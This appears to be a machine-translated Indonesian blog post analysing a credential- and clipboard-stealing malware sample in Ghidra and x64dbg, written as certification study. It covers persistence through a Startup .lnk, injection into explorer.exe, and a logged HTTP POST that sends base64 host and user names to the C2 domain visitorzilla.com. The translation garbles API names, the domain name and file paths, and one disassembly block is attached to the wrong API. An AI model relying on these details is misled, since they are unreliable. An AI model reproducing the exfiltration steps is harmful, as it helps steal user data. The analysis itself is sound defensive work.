Belajar dengan berlatih: Analisis Malware

  • Whatsapp
Belajar dengan berlatih: Analisis Malware
Belajar dengan berlatih Analisis Malware

News.nextcloud.asia

Posting ini dan yang lainnya untuk bulan ini adalah bagian dari seri yang saya gunakan untuk membantu saya mempersiapkan sertifikasi GIAC Reverse Engineer Malware (GREM) saya.

Seperti biasa, analisis statis dan dinamis diselesaikan sebelum upaya apa pun untuk mempelajari sampel ini melalui Memandu dan x64dbg.

Lihatlah ini dari perspektif Ghidra dan x64dbg dengan melihat beberapa panggilan fungsi.


Analisis Kode Statis Ghidra

Melihat ke DapatkanProses Saat Ini fungsi, kita melihat fungsi ini dipanggil dan nilai kembalian didorong ke tumpukan.

        00406205 ff d6           CALL       ESI=>KERNEL32.DLL::GetCurrentProcess
        00406207 50              PUSH       EAX                                              ; HANDLE hTargetProcessHandle fo

Ingin memahami apa SHGetSpecialFolderPathA fungsinya adalah tentang, di bawah ini kita lihat:

        00401f84 6a 00           PUSH       0x0                                                     ; BOOL fCreate for SHGetSpecialF
        00401f86 6a 1a           PUSH       0x1a                                                    ; int csidl for SHGetSpecialFold
        00401f88 8d 44 24 08     LEA        EAX=>file_path, [ESP + 0x8]
        00401f8c 50              PUSH       EAX                                                     ; LPSTR pszPath for SHGetSpecial
        00401f8d 6a 00           PUSH       0x0                                                     ; HWND hwnd for SHGetSpecialFold
        00401f8f ff 15 74        CALL       dword ptr [->SHELL32.DLL::SHGetSpecialFolderPathA]

Pemahaman saya adalah bahwa nilai 0x1a yang berhubungan dengan csidl menentukan foldernya. Nilai ini 0x1a mewakili DATA APLIKASI map. Atau, dapat mengkonfirmasi folder ini di debugger. Catatan, dari sudut pandang Ghidra, panggilan ini dilakukan dua kali.

Setelah menemukan folder khusus, panggilan dilakukan ke BuatDirektoriA.

        00401fff 6a 00           PUSH       0x0                                                     ; LPSECURITY_ATTRIBUTES lpSecuri
        00402001 50              PUSH       EAX=>DAT_004342ac                                       ; LPCSTR lpPathName for CreateDi
        00402002 ff 15 38        CALL       dword ptr [->KERNEL32.DLL::CreateDirectoryA]

Selanjutnya, kita melihat panggilan dilakukan ke GetComputerNameA untuk mempelajari nama komputer.

        00403580 68 f8 41        PUSH       nSize_004341f8                                          ; LPDWORD nSize for GetComputerNameA                                                                                                ; = 00000010
        00403585 68 d4 6d        PUSH       lpBuffer_00436dd4                                       ; LPSTR lpBuffer for GetComputerNameA                                                                ; = ??
        0040358a ff 15 18        CALL       dword ptr [->KERNEL32.DLL::GetComputerNameA]

Setelah fungsi untuk mendapatkan nama komputer dijalankan, kita kemudian melihat panggilan ke GetUserNameA.

        00403580 68 f8 41        PUSH       nSize_004341f8                                          ; LPDWORD nSize for GetComputerNameA                                                                                                    ; = 00000010
        00403585 68 d4 6d        PUSH       lpBuffer_00436dd4                                       ; LPSTR lpBuffer for GetComputerNameA                                                                                    ; = ??
        0040358a ff 15 18        CALL       dword ptr [->KERNEL32.DLL::GetComputerNameA]

Fungsi lain yang menarik berkaitan dengan BuatFileA. Melihat di Ghidra, ada beberapa panggilan ke fungsi ini. Khususnya 5 panggilan. Melihat salah satunya, kami melihat file normal sedang dibuat dengan izin baca dan file tersebut harus dibuka hanya jika sudah ada.

                             LAB_00406729                                    XREF[1]:     00406721(j)  
        00406729 6a 00           PUSH       0x0                                                     ; HANDLE hTemplateFile for CreateFileA
        0040672b 51              PUSH       this                                                    ; DWORD dwFlagsAndAttributes for CreateFileA
        0040672c 50              PUSH       EAX                                                     ; DWORD dwCreationDisposition for CreateFileA
        0040672d 8d 85 e0        LEA        EAX=>local_124, [EBP + 0xfffffee0]
        00406733 50              PUSH       EAX                                                     ; LPSECURITY_ATTRIBUTES lpSecurityAttributes f
        00406734 52              PUSH       EDX                                                     ; DWORD dwShareMode for CreateFileA
        00406735 ff b5 f0        PUSH       dword ptr [EBP + dwDesiredAccess]                       ; DWORD dwDesiredAccess for CreateFileA
        0040673b ff b5 f4        PUSH       dword ptr [EBP + lpFileName]                            ; LPCSTR lpFileName for CreateFileA
        00406741 ff 15 b0        CALL       dword ptr [->KERNEL32.DLL::CreateFileA]

Melihat panggilan ke PathAppendA, kita melihat ini di bawah ini membutuhkan pointer ke jalur asli dan titik lain ke string yang akan ditambahkan. Menantikan untuk melihat apa yang ditunjukkan x64dbg kepada kita di sini.

        004043a1 8d 4c 24 24     LEA        ECX=>local_310, [ESP + 0x24]
        004043a5 51              PUSH       ECX                                                     ; LPCSTR pMore for PathAppendA
        004043a6 8d 94 24        LEA        EDX=>local_20c, [ESP + 0x12c]
        004043ad 52              PUSH       EDX                                                     ; LPSTR pszPath for PathAppendA
        004043ae ff 15 88        CALL       dword ptr [->SHLWAPI.DLL::PathAppendA]

Melihat ke InternetTerbukaA panggil, kita lihat

        004072ed ff 75 1c        PUSH       dword ptr [EBP + dwFlags]                               ; DWORD dwFlags for InternetOpenA
        004072f0 ff 75 18        PUSH       dword ptr [EBP + lpszProxyBypass]                       ; LPCSTR lpszProxyBypass for InternetOpenA
        004072f3 ff 75 14        PUSH       dword ptr [EBP + lpszProxy]                             ; LPCSTR lpszProxy for InternetOpenA
        004072f6 ff 75 10        PUSH       dword ptr [EBP + dwAccessType]                          ; DWORD dwAccessType for InternetOpenA
        004072f9 50              PUSH       EAX                                                     ; LPCSTR lpszAgent for InternetOpenA
        004072fa ff 15 1c        CALL       dword ptr [->WININET.DLL::InternetOpenA]

Analisis Dinamis x64dbg

Melihat ke DapatkanProses Saat Ini kami mengkonfirmasi apa yang kami lihat di Ghidra bahwa nilai pengembalian FFFFFFFF (-1) yang disimpan di EAX didorong ke tumpukan, kami juga melihat nilai ini digunakan sebagai argumen untuk GetProcessMitigationPolicy fungsi yang memeriksa kebijakan mitigasi dari proses panggilan. Panggilan ini untuk GetProcessMitigationPolicy dibuat beberapa kali dalam sampel ini.

Melihat interaksinya, sepertinya malware ini juga berinteraksi dengan Clipboard seperti yang ditunjukkan melalui DaftarClipboardFormatA. Panggilan ini juga dilakukan beberapa kali.

Melihat kode sebelum pengembalian dieksekusi, kita melihat SHGetSpecialFolderPathA memiliki nilai “C:\Users\SecurityNik\AppData\Roaming”. Tebak itu menegaskan 0x1A kita pelajari sebelumnya melalui poin Ghidra ke data aplikasi map. Dalam panggilan lain, fungsi ini kembali “C:\Users\SecurityNik\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”

Melihat ke BuatDirektoriA fungsi, kita melihat direktori bernama Cadangan data dibuat.

Konfirmasi lebih lanjut bahwa direktori ini telah dibuat.

C:UsersSecurityNik>dir %appdata%
Directory of C:UsersSecurityNikAppDataRoaming

12/09/2020  11:53 AM    <DIR>          .
12/09/2020  11:53 AM    <DIR>          ..
12/09/2020  11:18 AM    <DIR>          DataBackup

Melihat panggilan ke GetComputerNameA. Tampaknya GetComputerNameA, akhirnya menelepon GetComputerNameW. Parameter pertama untuk GetComputerNameW adalah pointer ke buffer yang menerima nama komputer. Melihat output dari x64dbg, kita melihat alamatnya 0x0019FB84 menunjuk ke buffer yang menerima nama komputer yang dilaporkan sebagai SECRUTIYNIK-WIN. Anehnya panggilan untuk komputer dilakukan beberapa kali.

GetUserNameA panggilan GetUserNameExA dan pada akhirnya mengembalikan pengguna yang masuk saat ini yang KeamananNik.

Selanjutnya dapat kami tegaskan dua hal penting di atas sebagai berikut.

C:UsersSecurityNikAppDataRoamingDataBackup>hostname
SECURITYNIK-WIN10

C:UsersSecurityNikAppDataRoamingDataBackup>whoami
securitynik-winsecuritynik

Melihat salah satu panggilan ke BuatFileA kita lihat di bawah file bernama sed.ic sedang dibuat di dibuat sebelumnya Cadangan data map. Kemudian dalam debugging, panggilan ke BuatFileA menghasilkan pembuatan file bernama saya.ic dalam folder yang sama.

Setelah membiarkan kode di atas berjalan, saya tidak melihat file yang dibuat di folder.

Berikut adalah isi dari saya.ic mengajukan.

C:UsersSecurityNikAppDataRoamingDataBackup>type me.ic

=====================================================================
Active Window: Process Hacker [SECURITYNIK-WINSecurityNik]
SEESION 12/09/20 11:18:03
{ClipBoard Data:nfig.edge.sk"}mm

Memperhatikan PathAppendA fungsi, kita lihat di bawah apa yang tampak seperti ketekunan sedang ditambahkan melalui Memulai folder dari Mulai Menu melalui .LNK mengajukan.

Melihat host untuk melihat apakah artefak ini dibuat, kami melihat di bawah bahwa entri berhasil dibuat.

C:UsersSecurityNikAppDataRoaming>wmic startup where "Caption like '%Data%'" list full

Caption=DataABackup
Command=DataABackup.lnk
Description=DataABackup
Location=Startup
SettingID=
User=SECURITYNIK-WINSecurityNik

Melihat ke Proses Terbuka panggilan, kita melihat panggilan untuk membuat proses yang memungkinkan duplikasi pegangannya. Selain itu, kami melihat prosesnya telah 000013F4.

Menggunakan Hex2Des dari Sysinternals, kami mengonversi 0x13f4 ke desimal dan dapatkan 5108.

C:UsersSecurityNikAppDataRoaming>hex2dec -nobanner 0x13f4
0x13F4 = 5108

Menggali lebih dalam, kita melihat bahwa proses dengan desimal 5108 sebagai ID prosesnya adalah explorer.exe.

C:UsersSecurityNikAppDataRoaming>wmic process where processID=5108 get ProcessID,name,CSName
CSName           Name          ProcessId
SECURITYNIK-WIN  explorer.exe  5108

Jika saya tahu apa-apa pada saat ini, setiap kali malware terlihat membuka proses, terutama proses seperti penjelajah[.]exe, kita semua bisa menyimpulkan ini kemungkinan besar akan menjadi beberapa jenis proses injeksi. Mari kita lanjutkan perjalanan ini.

Meskipun tidak ditampilkan di bawah, ada panggilan ke InternetTerbukaA sehingga menginisialisasi penggunaan fungsi ini oleh aplikasi.

Kemudian ada panggilan lain untuk Proses Terbuka. Namun, kali ini merupakan upaya untuk membuka prosesnya sendiri dengan PID 0x794 yang merupakan desimal 1940.

C:UsersSecurityNikAppDataRoamingDataBackup>hex2dec -nobanner 0x794
0x794 = 1940


C:UsersSecurityNikAppDataRoamingDataBackup>wmic process where processID=1940 get ProcessID,name,CSName
CSName           Name        ProcessId
SECURITYNIK-WIN  msdsrv.exe  1940

Berikut ini adalah panggilan untuk InternetConnectA yang mencoba terhubung ke pengunjungzilla[.]dengan di pelabuhan 0x50 (80).

Pada titik ini, saya memodifikasi tuan rumah file menambahkan entri untuk pengunjungzilla[.]dengan.

C:UsersSecurityNikAppDataRoaming>echo 10.0.0.113 visitorzilla.com >>  c:windowsSystem32driversetchosts
C:UsersSecurityNikAppDataRoaming>type c:windowsSystem32driversetchosts | findstr /i visit
10.0.0.113 visitorzilla.com

Selanjutnya kita melihat panggilan ke HTTPOpenRequestA melalui POS mencoba berkomunikasi dengan /werdfghswepfdhfr.php. Kemudian panggilan dibuat ke HTTPAddRequestHeaderSA dan HTTPSendRequestA. Ini tidak ditampilkan dalam posting ini.

Ini di atas diikuti dengan panggilan ke InternetTulis File untuk itu 0x126 (294) byte harus ditulis ke file bernama temp.txt.

Melihat lebih dekat pada data yang ditunjuk dalam buffer di 0x04557BB0 kami melihat “–JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93rnDisposisi-Konten: form-data; name=”shfjshf”rnrnU0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLwFUEHrrnU0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw==rrn–JFform name=”dssds”; namafile=”temp.txt”rnTipe-Konten: teks/plainrnPengkodean-Transfer-Konten: binerrnrn”

Sepertinya beberapa data di atas dikodekan base64. Memecah ini sedikit, kami melihat konten base64 diterjemahkan sebagai:

JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93  - oaUqTqTEqOw
U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw== - [email protected]/

Jika tidak ada, kita tahu di atas ada informasi tentang nama komputer dan pengguna.

Kemudian, panggilan lain dilakukan ke InternetTulis File, kali ini dengan sebagai berikut:

"rn--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93rnContent-Disposition: form-data; name=\Csubmit\C value=\Csubmit\Crnrnrn--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--rn"

Setelah selesai, ada panggilan ke InternetTutupPeganganA.

Melihat koneksi internet dari perspektif INetSim, kita melihat:

[email protected]:/tmp$ cat /var/log/inetsim/service.log | grep --perl-regexp ":21822]"
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] connect
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: POST /werdfghswepfdhfr.php HTTP/1.1
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Type: multipart/form-data; boundary=JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: User-Agent: Top
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Host: visitorzilla.com
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Length: 440
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Cache-Control: no-cache
[2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] info: POST data stored to: /var/lib/inetsim/http/postdata/f6083d9fb7a9dac9efd47287f5f4a83d16380e03
[2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] disconnect (timeout)

Melihat isi dari salah satu file postdata yang dibuat, kita melihat:

[email protected]:~/malware/day1$ sudo cat  /var/lib/inetsim/http/postdata/c317d7ab622a9ede0150aa8c6903d55fd2acd9ec 
--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
Content-Disposition: form-data; name="shfjshf"

U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw==
--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
Content-Disposition: form-data; name="dssds"; filename="temp.txt"
Content-Type: text/plain
Content-Transfer-Encoding: binary


--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
Content-Disposition: form-data; name=CsubmitC value=CsubmitC


--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--

Saya belum memecahkan kode di atas. Namun, saya yakin jika kita melakukannya, itu akan menjadi hal yang sama seperti yang kita lihat sebelumnya.

Melanjutkan perjalanan ini, kami melihat panggilan untuk HapusFileA untuk menghapus file sed.ic.

Memverifikasi file ini ada sebelum kode ini dijalankan.

C:UsersSecurityNikAppDataRoamingDataBackup>dir sed.ic
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:UsersSecurityNikAppDataRoamingDataBackup

12/10/2020  03:25 PM                 0 sed.ic
               1 File(s)              0 bytes
               0 Dir(s)  36,314,120,192 bytes free

Membiarkan panggilan ke HapusFileA berjalan, kita melihat:

Mengonfirmasi file telah dihapus, kami melihat:

C:UsersSecurityNikAppDataRoamingDataBackup>dir sed.ic
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:UsersSecurityNikAppDataRoamingDataBackup

File Not Found

Setelah mencapai beberapa breakpoint lagi, prosesnya Dihentikan. Saya percaya salah satu mekanisme anti-debugging mungkin telah bekerja. Pada titik ini, saya telah mencapai tujuan saya. Saya telah belajar sedikit lebih banyak dan saya dapat mengekstrak beberapa IoC. Cukup untuk menyebutnya sehari dalam hal ini.

Referensi:

SANS FOR610 – GREM
Microsoft GetCurrentProcess
Mengapa GetCurrentProcess mengembalikan -1
GetProcessMigitationPolicy
DaftarClipboardFormatA
SHGetSpecialFolderPathA
BuatDirektoriA
GetComputerNameA
GetComputerNameW
GetUserNameA
PathAppendA
Proses Terbuka
HTTPOpenRuquestA
InternetTulis File
nilai CSIDL

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.